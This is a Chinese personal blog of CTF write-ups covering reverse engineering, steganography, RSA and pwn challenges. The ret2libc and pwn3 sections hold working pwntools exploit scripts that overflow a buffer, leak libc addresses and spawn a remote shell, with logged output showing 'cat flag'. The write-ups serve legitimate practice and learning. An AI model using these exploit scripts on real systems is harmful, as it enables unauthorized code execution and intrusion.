标签 ctf 下的文章

22.1.14

好困啊,你看我这么早起来第一件事就是做这个,不得喜欢喜欢我?

owo owo

0x01 XCTF rev open-source

  1. 看源代码嘛
  2. 有个小注意的地方,std::cout<<atoi("123");这样会输出123。std::cout<<atoi("owo")<<"\n";这样会输出0
  3. 0xcafe对应数字51966
  4. 默认传入的argv中的argv[0]至少在windows下会显示自己的目录。

    ::linux
    [root@oao test]# /root/test/wa
    argc:1
    argv[0]:/root/test/wa
    
    [root@oao test]# ./wa
    argc:1
    argv[0]:./wa
    argv[1]:
    
    ::windows powershell
    PS F:\code\CTF\xctf\rev\open-source> .\test2    
    argc:1
    argv[0]:F:\code\CTF\xctf\rev\open-source\test2.exe
    argv[1]:
    
    ::windows cmd
    F:\code\CTF\xctf\rev\open-source>test2
    argc:1
    argv[0]:test2
    argv[1]:
    

    大概就是这样,会显示自己的目录信息。

  1. 然后这样就可以看参数啦

    PS F:\code\CTF\xctf\rev\open-source> .\test2 owo owo
    argc:3
    argv[0]:F:\code\CTF\xctf\rev\open-source\test2.exe
    argv[1]:owo
  2. 第二个条件可以暴力算出来是25
  3. 可以得到

    PS F:\code\CTF\xctf\rev\open-source> .\8b6405c25fe447fa804c6833a0d72808.exe 51966 25 h4cky0u
    Brr wrrr grr
    Get your key: c0ffee
  4. 这个题有个小坑,就是提交的时候不需要括号括起来..然后%x是16进制。

0x02 XCTF rev simple-unpack

  1. 稍微试了试,觉得很奇怪的文件。
  2. 在linux下看ELF 64-bit LSB executable, x86-64, version 1 (GNU/Linux), statically linked, no section header
  3. 执行后,输入个东西会显示try again。
  4. 不会做。
  5. 看了看要用upx脱壳

    PS F:\code\CTF\xctf\rev\simple-unpack> upx -d .\847be14b3e724782b658f2dda2e8045b
                           Ultimate Packer for eXecutables
                              Copyright (C) 1996 - 2020
    UPX 3.96w       Markus Oberhumer, Laszlo Molnar & John Reiser   Jan 23rd 2020
    
            File size         Ratio      Format      Name
       --------------------   ------   -----------   -----------
        912808 <-    352624   38.63%   linux/amd64   847be14b3e724782b658f2dda2e8045b
    
    Unpacked 1 file.
  6. 真的很神奇诶。脱壳之后文件还变大了,而且ida可以解析了。
  7. flag{Upx_1s_n0t_a_d3liv3r_c0mp4ny}
  8. 好像这个题也可以winhex暴力查flag

0X03 XCTF MISC 功夫再高也怕菜刀

  1. 又到了可爱的鲨鱼环节。
  2. 不会做,记录下有用的东西吧。

    504B0506 压缩文件头
    追踪文件流可以得到压缩包。
    
    kali 下的foremost可以快速找到流量包的文件
    
    然后可以得到一个一个包包
  3. 还能在流里搜到一个图片
  4. 用图片上的密码解压

    flag{3OpWdJ-JP6FzK-koCMAK-VkfWBq-75Un2z}

吼住

010 Editor好像挺好用的

22.1.13

记录日常啦。

昨晚还在拉肚子,也没人陪我玩游戏。肚子疼得厉害,咕噜咕噜的叫。

到现在感觉也不怎么样。

今天打算不做buu了,做做攻防世界了。

0x01 reverse game

  1. 好可爱的小程序。IDA启动!
  2. 很快就能找到源代码的地方。
  3. 但是要注意一个地方,虽然反编译出来了好几个数组出来,但是实际上这是一个数组。
  4. 也就是v3,v4,甚至v5都是一个数组。
  5. 运行代码

    #include<cstdio>
    #include<cstring>
    
    
    
    int sub_45E940()
    {
      char v1; // [esp+0h] [ebp-164h]
      int i; // [esp+D0h] [ebp-94h]
      char v3[22]; // [esp+DCh] [ebp-88h] BYREF
      char v4[32]="`S,yhn _uec{"; // [esp+F2h] [ebp-72h] BYREF
      char v5[4]; // [esp+112h] [ebp-52h] BYREF
      char v6[64]; // [esp+120h] [ebp-44h]
    
     // sub_45A7BE((int)"done!!! the flag is ", v1);
      v6[0] = 18;
      v6[1] = 64;
      v6[2] = 98;
      v6[3] = 5;
      v6[4] = 2;
      v6[5] = 4;
      v6[6] = 6;
      v6[7] = 3;
      v6[8] = 6;
      v6[9] = 48;
      v6[10] = 49;
      v6[11] = 65;
      v6[12] = 32;
      v6[13] = 12;
      v6[14] = 48;
      v6[15] = 65;
      v6[16] = 31;
      v6[17] = 78;
      v6[18] = 62;
      v6[19] = 32;
      v6[20] = 49;
      v6[21] = 32;
      v6[22] = 1;
      v6[23] = 57;
      v6[24] = 96;
      v6[25] = 3;
      v6[26] = 21;
      v6[27] = 9;
      v6[28] = 4;
      v6[29] = 62;
      v6[30] = 3;
      v6[31] = 5;
      v6[32] = 4;
      v6[33] = 1;
      v6[34] = 2;
      v6[35] = 3;
      v6[36] = 44;
      v6[37] = 65;
      v6[38] = 78;
      v6[39] = 32;
      v6[40] = 16;
      v6[41] = 97;
      v6[42] = 54;
      v6[43] = 16;
      v6[44] = 44;
      v6[45] = 52;
      v6[46] = 32;
      v6[47] = 64;
      v6[48] = 89;
      v6[49] = 45;
      v6[50] = 32;
      v6[51] = 65;
      v6[52] = 15;
      v6[53] = 34;
      v6[54] = 18;
      v6[55] = 16;
      v6[56] = 0;
      v3[0] = 123;
      v3[1] = 32;
      v3[2] = 18;
      v3[3] = 98;
      v3[4] = 119;
      v3[5] = 108;
      v3[6] = 65;
      v3[7] = 41;
      v3[8] = 124;
      v3[9] = 80;
      v3[10] = 125;
      v3[11] = 38;
      v3[12] = 124;
      v3[13] = 111;
      v3[14] = 74;
      v3[15] = 49;
      v3[16] = 83;
      v3[17] = 108;
      v3[18] = 94;
      v3[19] = 108;
      v3[20] = 84;
      v3[21] = 6;
      //qmemcpy(v4, "`S,yhn _uec{", 12);
      v4[12] = 127;
      v4[13] = 119;
      v4[14] = 96;
      v4[15] = 48;
      v4[16] = 107;
      v4[17] = 71;
      v4[18] = 92;
      v4[19] = 29;
      v4[20] = 81;
      v4[21] = 107;
      v4[22] = 90;
      v4[23] = 85;
      v4[24] = 64;
      v4[25] = 12;
      v4[26] = 43;
      v4[27] = 76;
      v4[28] = 86;
      v4[29] = 13;
      v4[30] = 114;
      v4[31] = 1;
      v4[32]='u';
      v4[33]='~'; 
      strcpy(v5, "    ~");
      for ( i = 22; i < 55; ++i )
      {
        v4[i-22] ^= v6[i];
        v4[i-22] ^= '\x13';
      }
      printf("%s",v4);
    
      return 1;
    }
    int main(){
      sub_45E940();
    }
    //zsctf{T9is_tOpic_1s_v5ry_int7resting_b6t_others_are_n0t}
    
  6. 这样运行v3,v4就可以拿到差不多的flag
  7. 但,这个题还有别的做法。

    那就是可爱的CE修改器

    先上结论:

                         |-----------------------▲--------|
                         |-----------------------●--------|
                         |-----------------------◆--------|
                         |-----------------------■--------|
    |--------------------|-----------------------★--------|
    |                    |-----------------------▼--------|
    |                    |--------------------(°Д°)-----|
    |                    |--------------------(*°▽°)=3--|
    二                                                     |
    |           by 0x61                                    |
    |                                                      |
    |------------------------------------------------------|
    done!!! the flag is zsctf{T9is_tOpic_1s_v5ry_int7resting_b6t_others_are_n0t}
    input n,n(1-8)
    1.△ 2.○ 3.◇ 4.□ 5.☆ 6.▽ 7.( ̄▽ ̄)/ 8.(;°Д°) 0.restart
    n=
    1. 因为前面逆向了一次,可以看到,这个判断是个数组。
    2. 那样就直接搜数组,毕竟数组的内存地址基本上是连续的。
    3. 数组扫描
    4. 然后因为CE的修改数值的速度可能不如那啥快,那样就锁定绝大多数值,然后随便玩玩,很轻松就可以得到啦

zsctf{T9is_tOpic_1s_v5ry_int7resting_b6t_others_are_n0t}

0x02 BUU LSB

  1. linux 下file命令显示flag11.png: PNG image data, 268 x 268, 8-bit/color RGB, non-interlaced
  2. 好像没什么有用的信息,winhex也没有看到什么东西。
  3. 不会做,看WP
  4. 天,原来stegsolve的analyse功能可以这么用,好恐怖。
  5. 出来之后是个二维码。cumtctf{1sb_i4_s0_Ea4y}

0x03 BUU 你竟然赶我走

winhex 图片尾部 flag{stego_is_s0_bor1ing}

0x01 RSA

RSA题目,原理还没看,但是网上有根据这些数值解答案的脚本

开个docker UBUNTU1808安装个py2.7就行了

root@cb7c2e25b2df:/# python waa.py
flag{271c7ec33858d491f88a83e3d35ac411}

#!/usr/bin/python  
#coding:utf-8  
  
import gmpy2
import libnum
from Crypto.Util.number import long_to_bytes

e= 65537
n = 132874559018378928431039440207926203692459793792348908672840445003264268709142821089064063059664054997624354040367339834740402484489217092916932927523665031792688652405172441259540233143526085691290500429921362666149858204259223146323188880312113596285869242888916181594189809400830983088384594648368192585387
c = 105561263344197224500437985369890277605607419491189003046055021715638244356677672489534224683808733691744645034854814587326664189059178955870261337977176277155277781998771630340367082086864012637516012166291357901866101513273848851471805311144501065601880125348980410104702516232148506526616670074084982119236

dp = 591317922916712527852981087692920294081526731184970969084059479425641071480269272618065340614260809042370271672930352969371906804874484366604552515101473
for i in range(1,65538):
    if (dp*e-1)%i == 0:
        if n%(((dp*e-1)/i)+1)==0:
            p=((dp*e-1)/i)+1
            q=n/(((dp*e-1)/i)+1)
            phi = (p-1)*(q-1)
            d = gmpy2.invert(e,phi)%phi
            m = pow(c,d,n)
            print long_to_bytes(m)


##flag{271c7ec33858d491f88a83e3d35ac411}

如果有空的话来写原理。

0x02 GAPS

这个库是过期的,但是稍微改改版本的话可以直接安装使用,然后处理的细节

git clone https://github.com/nemanja-m/gaps.git
cd gaps  
pip install -r requirements.txt
sudo apt-get install python-tk
pip install -e .

gaps --image=out.jpg --generations=50 --population=120 --size=50

--image            指向拼图的路径
--size            拼图块的像素尺寸
--generations    遗传算法的代的数量
--population    个体数量
--verbose        每一代训练结束后展示最佳结果
--save            将拼图还原为图像

┌──(root?kali)-[/home/kali/ctf/misc/gaps]
└─# gaps --image=out_4.jpg --generations=50 --size=64 --save --verbose   

用PS可以看到一个块64个

不断进行迭代,虽然没有拼出全图,但是可以看了。

out_1

out_2

out_3

out_4

out_5

0x03 ret2libc3

readelf -a ./libc.so| grep "system"
readelf -a ./libc.so| grep "IO_puts"
strings ./libc.so -tx | grep "/bin/sh"

┌──(root?kali)-[/home/kali/Desktop/owo]
└─# readelf -a ./libc.so| grep "system"
  1457: 0003ada0    55 FUNC    WEAK   DEFAULT   13 system@@GLIBC_2.0                                                                                                        
┌──(root?kali)-[/home/kali/Desktop/owo]
└─# readelf -a ./libc.so| grep "IO_puts"
   205: 0005fca0   464 FUNC    GLOBAL DEFAULT   13 _IO_puts@@GLIBC_2.0
   
┌──(root?kali)-[/home/kali/Desktop/owo]
└─# strings ./libc.so -tx | grep "/bin/sh"
 15b82b /bin/sh

可以得到三个lib的偏移量

off_sys=0x0003ada0
off_puts=0x0005fca0
off_sh=0x15b82b

上面这个做法是不对的样子,因为按照这么查询,但是没有找到地址,地址也不对。

比如

这个是remote查询到的地址
wuhu: 0xf7df8150
[+] There are multiple libc that meet current constraints :
0 - libc6-i386_2.23-0ubuntu11.2_amd64
1 - libc-2.26-lp150.11.17.1.x86_64
2 - libc6-x32_2.17-0ubuntu5.1_amd64
3 - libc6-x32_2.17-0ubuntu5_amd64
4 - libc6-x32_2.17-0ubuntu5.1_i386
5 - libc6-x32_2.17-0ubuntu5_i386
6 - libc6-i386_2.23-0ubuntu11.3_amd64
[+] Choose one : 6
libc.dump'puts': 0x5f150
libc.dump'system': 0x3a950
libc.dump'str_bin_sh': 0x15912b
libcbase: 0xf7d99000
sys_addr: 0xf7dd3950
sh_addr: 0xf7ef212b

这个是本地查询到的地址
wuhu: 0xf7d44420
[+] There are multiple libc that meet current constraints :
0 - libc6-i386_2.31-8_amd64
1 - libc6-i386_2.31-9_amd64
2 - libc6-i386_2.31-7_amd64
3 - libc6-i386_2.31-10_amd64
4 - libc6-i386_2.31-11_amd64
5 - libc6-i386_2.31-12_amd64
6 - libc6_2.24-0ubuntu1_i386
7 - libc6-i386_2.31-13_amd64
8 - libc6-i386_2.31-16_amd64
9 - libc6-i386_2.31-15_amd64
[+] Choose one : 3
libc.dump'puts': 0x70420
libc.dump'system': 0x45000
libc.dump'str_bin_sh': 0x18c338
libcbase: 0xf7cd4000
sys_addr: 0xf7d19000
sh_addr: 0xf7e60338
/home/kali/Desktop/owo/wa.py:60: BytesWarning: Text is not bytes; assuming ISO-8859-1, no guarantees. See https://docs.pwntools.com/#bytes
  p.sendline(payload2)
[*] Switching to interactive mode
$ 

这样看其实差距真的很大,所以这个我现在局的应该只能用查询的方法,而不是固定的方法。

exp:

from pwn import *
from LibcSearcher import LibcSearcher
import pwnlib

elf=ELF("ret2libc3")
#context.log_level = 'debug'
puts_got=elf.got["puts"]
puts_plt=elf.plt['puts']
main_plt=elf.symbols["_start"]

print(puts_got,puts_plt,main_plt)

#=process("./ret2libc3")
p=remote("icee.top",10010)
#p.recv()
#p.readuntil("Can you find it !?")
#p.recv()
payload='a'*(0x70)
payload+=p32(puts_plt).decode('unicode_escape')
payload+=p32(main_plt).decode('unicode_escape')
payload+=p32(puts_got).decode('unicode_escape')
#p.sendline(payload)

p.sendlineafter('Can you find it !?', payload)
puts_addr=u32(p.recv()[0:4]) #.decode('unicode_escape')

print("wuhu:",hex(puts_addr))

#cuo de 
#off_sys=0x0003ada0
#off_puts=0x0005fca0
#off_sh=0x15b82b
#off_sys = 0x3adb0
#off_puts = 0x5fcb0

#libc = LibcSearcher('__libc_start_main',libc_start_main_addr)
#libcbase = libc_start_main_addr - libc.dump('__libc_start_main')
#sys_addr = libcbase + libc.dump('system')
#sh_addr = libcbase + libc.dump('str_bin_sh')

libc = LibcSearcher('puts', puts_addr) 
libcbase = puts_addr - libc.dump('puts')
sys_addr = libcbase + libc.dump('system')
sh_addr = libcbase + libc.dump('str_bin_sh')

#libc_base_addr = libc_start_main_addr - off_puts
print("libc.dump'puts':",hex(libc.dump('puts')))
print("libc.dump'system':",hex(libc.dump('system')))
print("libc.dump'str_bin_sh':",hex(libc.dump('str_bin_sh')))
print("libcbase:",hex(libcbase))
print("sys_addr:",hex(sys_addr))
print("sh_addr:",hex(sh_addr))
#sys_addr = libc_base_addr + off_sys
#sh_addr = libc_base_addr + off_sh

payload2='a'*0x70 #104YEKEYI
payload2+=p32(sys_addr).decode('unicode_escape')
payload2+=p32(0xdeadbeef).decode('unicode_escape')
payload2+=p32(sh_addr).decode('unicode_escape')
p.sendline(payload2)

p.interactive()

结果:

┌──(root?kali)-[/home/kali/Desktop/owo]
└─# python3 wa.py
[*] '/home/kali/Desktop/owo/ret2libc3'
    Arch:     i386-32-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x8048000)
134520856 134513760 134513872
[+] Opening connection to icee.top on port 10010: Done
/home/kali/Desktop/owo/wa.py:24: BytesWarning: Text is not bytes; assuming ISO-8859-1, no guarantees. See https://docs.pwntools.com/#bytes
  p.sendlineafter('Can you find it !?', payload)
/usr/local/lib/python3.9/dist-packages/pwnlib/tubes/tube.py:822: BytesWarning: Text is not bytes; assuming ASCII, no guarantees. See https://docs.pwntools.com/#bytes
  res = self.recvuntil(delim, timeout=timeout)
wuhu: 0xf7dda150
[+] There are multiple libc that meet current constraints :
0 - libc6-i386_2.23-0ubuntu11.2_amd64
1 - libc-2.26-lp150.11.17.1.x86_64
2 - libc6-x32_2.17-0ubuntu5.1_amd64
3 - libc6-x32_2.17-0ubuntu5_amd64
4 - libc6-x32_2.17-0ubuntu5.1_i386
5 - libc6-x32_2.17-0ubuntu5_i386
6 - libc6-i386_2.23-0ubuntu11.3_amd64
[+] Choose one : 6
libc.dump'puts': 0x5f150
libc.dump'system': 0x3a950
libc.dump'str_bin_sh': 0x15912b
libcbase: 0xf7d7b000
sys_addr: 0xf7db5950
sh_addr: 0xf7ed412b
/home/kali/Desktop/owo/wa.py:60: BytesWarning: Text is not bytes; assuming ISO-8859-1, no guarantees. See https://docs.pwntools.com/#bytes
  p.sendline(payload2)
[*] Switching to interactive mode

No surprise anymore, system disappeard QQ.
Can you find it !?$ 
$ ls
bin
dev
flag
lib
lib32
lib64
pwn
run.sh
$ cat flag
flag{5b46ef7e-6433-4174-aa73-f0839ed4907a}
$ echo wuhu!!!
wuhu!!!
$  
flag{5b46ef7e-6433-4174-aa73-f0839ed4907a}

大概的思路:

  1. 利用main函数里面的put函数把buf给溢出一下,但这里有个小事情,IDA反编译出来的100buf其实是错的。具体是多少要看汇编的数据,因为有个AND的原因?然后这样的话就是
    0xf0 - 0x80=112个位置溢出
  2. 然后这个程序里面并没有system(),所以要自己来找system,要利用libc库。
  3. libc库中的各种地址是固定的,但是我觉得libc库不固定。
  4. libc基地址 + system函数偏移量 = system函数真实地址

    在上面的公式中,可以查找到system函数的偏移量,那么,libc的基地址怎么计算呢?这里就需要用到libc中函数的泄露技术,只要知道某个函数的偏移量和真实地址,就能用真实地址减去偏移得到libc的基地址。要泄露某个函数,需要在程序中已经执行过该函数,本题中,在gets函数溢出点之前,执行了两个printf,第一个带换行的printf实际上调用的还是puts函数,我们就来泄露这个函数的地址。
    执行完puts函数(带换行的printf),真实地址已经写入到了got表,一般的方法也是got表泄露,我们得到puts函数的gots地址后,可以把这个地址作为参数传递给puts函数,则会把这个地址里的数据,即puts函数的真实地址输出出来,这样,就可以得到puts函数的真实地址,而后用下面的公式计算libc的基地址:

    libc基地址 = puts函数真实地址 - puts函数偏移量

    gets函数执行后,目的是取得puts的真实地址,这样虽然得到了puts的真实地址,但是程序已经执行完了,因此,需要在送入gets函数的puts的下一条放入main的地址,让程序再回来执行一遍,并到gets点后再进行溢出。这里的逻辑有一些乱,大致是这样:

    main函数-->puts函数泄露got表地址-->gets函数溢出点送入puts函数plt及参数(参数为puts got)-->main函数-->gets函数再溢出
  5. 然后就可以进行溢出,跳地址,多跳几次循环,然后就可以拿到bin/sh
  6. 大概就是这个样子..可能会有不对的地方,还望指正。
  7. 参考链接:

    https://blog.csdn.net/weixin_43363675/article/details/118056125
    https://www.jianshu.com/p/57e30c443ec6

pwn2不做了..qwq

SDUST 新生赛 by.dayi

0X01

你知道网页的初始界面是什么吗?

用bp的repeter可以做,后来发现其实直接curl就行

[root@oao ~]# curl http://124.70.85.223/web3/index.php
Woodpeckerctf{faster_as_you_can}
[root@oao ~]#curl 

0x02 签到

扫码

0x03 百度

woodpecker{Baidu_!}

0x04 福利

flag{Shen_mE_p0_t1_Mu}

0x05 贝斯祝愿你能在大学里找到对象

base64直接解码

0x06 17900 Shimakaze

使用Stegsolve.jar点几下然后扫码

0x06 邀请你的好舍友过来拍张照吧!!!!

解压后拍照

0x07 你知道凯撒大帝的密码吗?

稍微有点意思

暴力解码凯撒https://paste.ubuntu.com/p/ddQXBc8Vjd/,然后

import base64

for i in range(1,30):
    try:
        str=input()
        print(base64.b64decode(str))
    except:
        print("wa")

0X08 PWN 1

这个题,用IDAPRO可以得到源代码

pwn1

0x09开冲!

看键盘找密码

0x10

zip,然后看属性,发现:用winhex

0x11Read python code Please

解密代码如下,反过来就行


ans=[]
resarry=[153, 78, 177, 67, 178, 68, 165, 74, 167, 81, 165, 83, 168, 90, 150, 71, 167, 62, 163, 65, 163, 75, 171, 83, 187, 62, 177, 69, 161, 66, 177, 67, 167, 62, 148, 68, 163, 35, 161, 32, 176, 67, 161, 47, 180, 78, 169, 81, 163, 76, 167, 62, 171, 82, 161, 72, 175, 79, 177, 81, 163, 77, 182, 62, 115, 45, 161, 34, 150, 37, 99, 92]
for i in range(len(resarry)):
    print(resarry[71-i])
    if i%2==0:
        ans.append(resarry[i]-66 +128)
    else:
        ans.append(resarry[i]+33 +128)

for i in range(len(ans)):
    print(chr(ans[i]%128),end="")
print(ans)

0x12新佛与党

新佛曰社会主义核心价值观两个解码组合,不是他们一血那么快我都不知道我方向部队,我还研究了半天的12位进制哈哈哈哈哈

0x13 ezyiiiiiii

油猴脚本是好东西web11

然后直接F12

0x14快来救救这个可怜的二维码吧!!!!

画图解决

misc1

0x15好矮油

是个原题,我承认我百度做的,用winhex然后把01改成11就行了

0x16有手就行

啊啊啊,这个是我瞎子题,先把\n替换,base64,社工hits,考虑生活方面,然后考虑是不是qq号

然后qq名

0x17跳动的音符

好题

https://gchq.github.io/CyberChef/#recipe=XOR(%7B'option':'Hex','string':''%7D,'Standard',false/disabled)XOR_Brute_Force(1,100,0,'Standard',false,true,false,'')&input=dGxsZ3NmYGhmcXgxMzEyXHp6Z3AiIn4

打开这个网页就行

0x18 要happy啊!

社工,看wifi名,有ele.me的图,然后从支付宝找那个wifi名开头的店

0x19 [$1+$2+$3=flag](http://124.70.85.223:8000/challenges#$1+$2+$3=flag)

好烦,截图找不到了,重做

第一步,用连点器结果发现点到60还是不知道是啥,然后还是进了no_flag.php

打开F12看source,发现时间那里有个颜文字加密的js

解密吼

11}]V2U})9]

然后进入flag.php

发现字符串拼接

然后在第一步看源代码,发现第一步有注释的php得到part1

1111

然后第二部切换到.network

(第二部源代码提示过要看head)

拼手速11212

得到part2

拼接后得到flag

0x20 PWN3

根据大佬给的WP,然后直接运行

from pwn import *
context.log_level = 'DEBUG'
context.terminal = ['terminator', '-x' ,'sh' , '-c']
p = remote("43.128.1.238",10001)
elf = ELF("pwn")
#libc = ELF('')
offset = 72
address = elf.symbols['getShell']

p.recv()
payload = 'A' * offset + p64(address).decode('unicode_escape')
p.send(payload)
p.interactive()

pwn3QQ截图20210921154450

0x21Just ook my dear bro

ook解码

0x22 套娃

套娃很严重

将jpg改为zip

然后解压

然后得到2.jpg

用oursec,密码123456可以得到flag.txt

VjJVeFl6QnRaVjlVTUY5WE1EQkVVRVZEUzJWeQ==
base64得到
V2UxYzBtZV9UMF9XMDBEUEVDS2Vy
然后加密大厨可以得到
https://gchq.github.io/CyberChef/#recipe=Magic(3,false,false,'')&input=VjJVeFl6QnRaVjlVTUY5WE1EQkVVRVZEUzJWeQ
嗯就这样

QQ截图20210922182112

0x23安妮....我的安妮 :-} 嘿嘿嘿

呃,竟然不是word隐写,我方向错了好多次。

后来发现福尔摩斯其实可以允许.==E

于是,福尔摩斯,可以得到一串字母

这个我还找到了您的csdn博客呢!

就这样啦

感受

这次比赛,其实最大的感受就是每次打算学pwn,然后又来题,又要冲前几,特别特别累,还要做别的事情唉。不过还是很开心滴!

谢谢各位大佬出题!

如果有细节不够,欢迎叫我补充!!